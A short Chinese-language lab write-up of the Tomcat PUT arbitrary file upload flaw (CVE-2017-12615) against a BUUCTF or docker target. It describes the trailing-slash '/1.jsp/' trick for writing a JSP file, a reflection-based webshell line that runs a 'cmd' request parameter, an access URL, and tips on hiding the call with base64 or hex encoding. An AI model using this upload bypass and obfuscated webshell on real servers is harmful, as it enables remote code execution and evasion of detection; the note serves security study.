1
2017-12615 PUT任意文件上传-RCE
tomcat通过PUT方法任意文件写入(CVE-2017-12615)漏洞复现 - Junglezt - 博客园
Tomcat 远程代码执行漏洞分析(CVE-2017-12615)及补丁 Bypass 绕过的代码审计,不清晰
Tomcat中如果在配置文件中设置了readonly=false,就会产生任意文件上传漏洞。可以通过put请求方法上传任意文件,例如jsp后门
靶场:BUUCTF在线评测或docker搭建
直接将GET请求页面改为PUT,路径改为:/1.jsp/
请求的地址为想要写入的文件名,例如这里是/1.jsp,为什么要加入/1.jsp/呢?
是因为tomcat解析到后缀名为jsp或者jspx的时候会交给JspServlet,最后的/是因为文件名特性最后不支持/默认会去除就可以绕过JspServlet文件的解析
Payload:Java安全-Java Web后门学习 Jsp 一句话分析
1 | <% |
访问:IP/2.jsp?pwd=ocean&cmd=ls%20/
1 | Process method = (Process) runtime.getMethod("exec",String.class).invoke(runtime.getMethod("getRuntime").invoke(null, new Object[]{}), request.getParameter("cmd")); |
非常经典的反射
没有直接使用调用方法的方式去构造后门,而是采用动态加载的方式,把所要调用的类与函数放到一个字符串的位置,然后利用变形来隐藏关键函数,这里用的是 base64,同理可以使用 hex 和 ascii 的编码绕过